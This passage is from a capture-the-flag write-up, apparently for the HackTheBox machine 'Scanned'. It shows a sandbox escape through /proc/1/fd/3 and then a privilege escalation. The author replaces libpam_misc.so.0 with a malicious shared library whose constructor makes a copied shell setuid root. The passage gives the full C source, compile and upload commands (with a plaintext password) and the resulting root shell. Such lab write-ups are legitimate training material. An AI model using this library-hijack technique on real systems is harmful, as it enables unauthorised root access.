When I run that, it errors" [1] 124277 copied libs clarence@scanned:/var/www/malscanner/sandbox$ /proc/1/fd/3/../../../../../../../usr/bin/su: /lib/libpam.so.0: no version information available (required by /proc/1/fd/3/../../../../../../../usr/bin/su) /proc/1/fd/3/../../../../../../../usr/bin/su: /lib/libpam.so.0: no version information available (required by /lib/libpam_misc.so.0) /proc/1/fd/3/../../../../../../../usr/bin/su: symbol lookup error: /lib/libpam_misc.so.0: undefined symbol: pam_putenv, version LIBPAM_1.0 Exited Kill err: (3)
It’s complaining that there’s no version information in my library, and that
libpam_misc.so.0 requires it. It’s also complaining that
libpam_misc.so.0 needs the
pam_putenv method from
libpam.so.0.
I could go down trying to fix these by implementing the version info and the
pam_putenv function (described here).
Instead, I’ll try overwriting the
libpam_misc.so.0 library instead, on the idea that this “misc” library may provide less critical purpose to] 124368 copied libs clarence@scanned:/var/www/malscanner/sandbox$ /proc/1/fd/3/../../../../../../../usr/bin/su: /lib/libpam_misc.so.0: no version information available (required by /proc/1/fd/3/../../../../../../../usr/bin/su) /proc/1/fd/3/../../../../../../../usr/bin/su: symbol lookup error: /proc/1/fd/3/../../../../../../../usr/bin/su: undefined symbol: misc_conv, version LIBPAM_MISC_1.0 Exited Kill err: (3)
This time is still missing the version info, but no library is complaining about it’s not being there. There is a symbol look up error for the
misc_conv function: “undefined symbol: misc_conv, version LIBPAM_MISC_1.0”
Add misc_conv Function
The definition for this function is here:
int misc_conv(int num_msg, const struct pam_message **msgm, struct pam_response **response, void *appdata_ptr);
I’ll add this to the library, and just have it return 1:
#include <stdlib.h> #include <unistd.h> #include <sys/stat.h> int misc_conv(int num_msg, const struct pam_message **msgm, struct pam_response **response, void *appdata_ptr) { return 1; } static __attribute__ ((constructor)) void init(void) { char fn[120] = "/proc/1/fd/3/../../../../../../../../tmp/0xdf"; char mode[] = "4777"; int mode_int = strtol(mode, 0, 8); chown(fn, 0, 0); chmod(fn, mode_int); }
When I compile it, there are warnings for unknown types, but that’s ok:
oxdf@hacky$ gcc -shared -fPIC -o setuidlib.so setuidlib.c setuidlib.c:5:68: warning: ‘struct pam_response’ declared inside parameter list will not be visible outside of this definition or declaration 5 | int misc_conv(int num_msg, const struct pam_message **msgm, struct pam_response **response, void *appdata_ptr) { | ^~~~~~~~~~~~ setuidlib.c:5:41: warning: ‘struct pam_message’ declared inside parameter list will not be visible outside of this definition or declaration 5 | int misc_conv(int num_msg, const struct pam_message **msgm, struct pam_response **response, void *appdata_ptr) { |
I’ll upload it to Scanned:
oxdf@hacky$ sshpass -p 'onedayyoufeellikecrying' scp setuidlib.so clarence@10.10.11.141:/dev/shm
Success
I’ll run again, updating
libpam_misc.so.0 with
setuidlib.so:] 124401 copied libs /proc/1/fd/3/../../../../../../../usr/bin/su: /lib/libpam_misc.so.0: no version information available (required by /proc/1/fd/3/../../../../../../../usr/bin/su) su: user root does not exist or the user entry does not contain all the required fields Exited Kill err: (3)
The results look good! It seems to have run. And
/tmp/0xdf is now SetUID:
clarence@scanned:/var/www/malscanner/sandbox$ ls -l /tmp/0xdf -rwsrwxrwx 1 root root 1234376 Sep 8 18:57 /tmp/0xdf
I’ll run it (remembering
-p to not drop privs) and get a root shell:
clarence@scanned:/var/www/malscanner/sandbox$ /tmp/0xdf -p 0xdf-5.1# id uid=1000(clarence) gid=1000(clarence) euid=0(root) groups=1000(clarence)
And
root.txt:
0xdf-5.1# cat /root/root.txt ba0f4c36************************